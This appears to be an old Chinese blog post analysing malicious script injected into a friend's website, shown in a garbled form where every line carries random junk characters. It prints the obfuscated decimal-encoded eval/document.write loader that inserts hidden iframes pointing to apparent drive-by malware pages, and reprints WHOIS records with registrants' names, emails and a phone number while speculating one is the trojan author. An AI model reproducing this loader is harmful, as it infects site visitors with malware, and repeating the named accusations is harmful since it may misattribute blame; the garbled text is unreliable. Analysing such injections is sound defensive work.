首发在我的博客里面，
Q7N4@w;e OcQ_PE5 \ http://www.areway.cn/?p=175 6@]Xwq &A*o Q3 {,]BqFXv 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
^t*+hFEI 83412@& <script>t=’60,105,102,114,97,109,101,
m B"zyL- 32,115,114,99,61,104,116,116,112,58,47,47,
b hOy x 102,114,101,101,46,117,45,117,117,117,46,99,
-E2[PW4$ 110,47,101,114,114,111,114,46,104,116,109,
7. G 32,119,105,100,116,104,61,49,48,48,32,104,
it&c
,+8 101,105,103,104,116,61,48,62,60,47,105,102,
cEsBKaN 114,97,109,101,62′;
V~T jz%< t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
' uo `-Y w_KGn17 <script>t=’60,105,102,114,97,109,101,32,115,
q) G*" 114,99,61,104,116,116,112,58,47,47,102,114,
AU^Wy|i5Q 101,101,46,117,45,117,117,117,46,99,110,47,
SjtGU47$! 101,114,114,111,114,46,104,116,109,32,119,
@Sq=#f/= 105,100,116,104,61,49,48,48,32,104,101,105,
fX[,yc; 103,104,116,61,48,62,60,47,105,102,114,97,
~_8Ve\Y^ / 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
D4
{gt\V document.write(t);</script>
@!0j)5% qt^%jIv <html xmlns=”
w?jmi~ 6 http://www.w3.org/1999/xhtml 3 [SN [faS “>
nI 2}E <head>
v0" |J3 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
l >~ :lBO <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
F#X\}MvE U <title>首页 - 爱生活家庭网
<Ks?g=K- gW/H#T, 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
:e+GtN? 转换字符串后的大概内容是（谁点击后果自付）：
^} /YGAA <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
B|:{.U@ne '3+S5p8 查询玉米u-uuu.cn的详细信息：
B
susXW$ Domain Name: u-uuu.cn
,yV
pB)IQ ROID: 20070901s10001s64972306-cn
rt^z#2$ Domain Status: ok
/rv XCA)j
Registrant Organization: 王雷
pxI*vgfN7 Registrant Name: 王雷
mNb+V /*x3 Administrative Email:
czlovexs@126.com m+OR W"o Sponsoring Registrar: 北京万网志成科技有限公司
1 _5[5K^ Name Server:ns.yovole.com
Q l&P1|& Name Server:ns1.yovole.com
<>j, Q Registration Date: 2007-09-01 17:54
*zX<`E Expiration Date: 2008-09-01 17:54
=_^g]?5 i 最后PING了一下地址 都没有什么….
ik8e
`d
OjCA_& 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
hp,T(D| <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
g:[&]o} :9 <script language=”javascript” src=”
6O tv[8^} http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }ZVNDvGH >
sv0 kksj 这个玉米应该有可能是木马作者的：
e% 5! foafau.info的详细信息：
z h/+1 Access to INFO WHOIS information is provided to assist persons in
>W- e0kkH determining the contents of a domain name registration record in the
a#u JzYB0 Afilias registry database. The data in this record is provided by
Jc:G7}j6 Afilias Limited for informational purposes only, and Afilias does not
}}_WZ},h guarantee its accuracy. This service is intended only for query-based
" hy#L
0\t access. You agree that you will use this data only for lawful purposes
Z : Kob
b and that, under no circumstances will you use this data to: (a) allow,
H o \+xX enable, or otherwise support the transmission by e-mail, telephone, or
KJ9~"v
facsimile of mass unsolicited, commercial advertising or solicitations
QQ!,W': to entities other than the data recipient’s own existing customers; or
E"L'm0i[[ (b) enable high volume, automated, electronic processes that send
@F3 d9t- queries or data to the systems of Registry Operator, a Registrar, or
}\gpO0Ox Afilias except as reasonably necessary to register domain names or
X='4 N < modify existing registrations. All rights reserved. Afilias reserves
)9<)mV*EB( the right to modify these terms at any time. By submitting this query,
<n6/np! you agree to abide by this policy.
xUSIck
Domain ID:D22418703-LRMS
rz l2Oj"4 Domain Name:FOAFAU.INFO
uk\GAm@O Created On:20-Nov-2007 16:05:42 UTC
~4 \bR Last Updated On:20-Nov-2007 16:05:44 UTC
)%MB o.NL Expiration Date:20-Nov-2008 16:05:42 UTC
GbL,k? ey Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
8=2)I. Status:CLIENT DELETE PROHIBITED
D~mGv1t"
Status:CLIENT RENEW PROHIBITED
SR 43#!99Q Status:CLIENT TRANSFER PROHIBITED
mS%D"
e Status:CLIENT UPDATE PROHIBITED
")sq?1?X Status:TRANSFER PROHIBITED
^ )+tn Registrant ID:GODA-040110615
/ 5=A #G Registrant Name:liu hong
I F1?/D"< Registrant Organization:
.5I1wRN49 Registrant Street1:beijing
a\% g_Q) { Registrant Street2:
0e}L Z,9e Registrant Street3:
Xt7uCs Registrant City:beijing
D!@c,H Registrant State/Province:
!MGQ+bD6 Registrant Postal Code:100000
%*s[s0$c Registrant Country:CN
M~"K@g=Wr Registrant Phone:+86.860108888777
xknP
`T Registrant Phone Ext.:
=E,*8O] Registrant FAX:
sX**'cH Registrant FAX Ext.:
T
%cN(0 @ Registrant Email:bbbshiji@163.com
Z d5fr c$ Admin ID:GODA-240110615
9^aMmN&6N2 Admin Name:liu hong
s\ ~r
8 Admin Organization:
"C0oFRk Admin Street1:beijing
^c!Hur6) Admin Street2:
|~Z+Xl a Admin Street3:
E8V,".!+E Admin City:beijing
g!K(xh EO Admin State/Province:
SYC_=X Admin Postal Code:100000
+ 1cK (Si Admin Country:CN
$)\ocs O Admin Phone:+86.860108888777
:ox+WY Admin Phone Ext.:
aIm\tPbb Admin FAX:
2?m 'Dy'JE Admin FAX Ext.:
3N <FG .6 Admin Email:bbbshiji@163.com
QU\|RX Billing ID:GODA-340110615
?5+= Billing Name:liu hong
M/#<=XhA Billing Organization:
> Ks| yNJ Billing Street1:beijing
eR;cl$ Billing Street2:
.=K@M"5& Billing Street3:
FfP Ce5) Billing City:beijing
^Ji 5)c Billing State/Province:
XRaq\a`=: Billing Postal Code:100000
#5'9T:8 Billing Country:CN
{
\Q'eL8 Billing Phone:+86.860108888777
'KXvn0 Billing Phone Ext.:
P/0 n)
Q Billing FAX:
n*' |7 #; Billing FAX Ext.:
2AU_<Hr6 Billing Email:bbbshiji@163.com
yyBy|7QgO Tech ID:GODA-140110615
fpzC# Tech Name:liu hong
Rb\\6 BU0 Tech Organization:
Q;`#ujxL Tech Street1:beijing
0h$23. Tech Street2:
$7lI Dt Tech Street3:
bl:.D~@ Tech City:beijing
]Jt K)9 Tech State/Province:
uE+]] ir Tech Postal Code:100000
Joe k4t&0< Tech Country:CN
5H>[@_u+: Tech Phone:+86.860108888777
l*/I ; a$ Tech Phone Ext.:
@@_f''f$ Tech FAX:
@ Vc*JEW Tech FAX Ext.:
H}X3nl\] Tech Email:bbbshiji@163.com
{bl^O Name Server:NS27.DOMAINCONTROL.COM
q]< cn2 Name Server:NS28.DOMAINCONTROL.COM
R~;<}!Gtx Name Server:
$c[8-= Name Server:
n|3ENN Name Server:
FhS:. Name Server:
! SE g4z Name Server:
MyAi)Mz~o Name Server:
h_Q9 c Name Server:
*N<~"D Name Server:
X> =`{JS1 Name Server:
b=`h""u Name Server:
EO3?Dev Name Server:
&+d>xy\^/ U c$RYPq 接着下载每个文件里面的代码：
Z6A*9m 一步一步看..
R/xeC [r 
tLJ"] D1w 
X^eTf-*T 
y2 yW91B, 
=gw 'M A 
@|idlIey 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
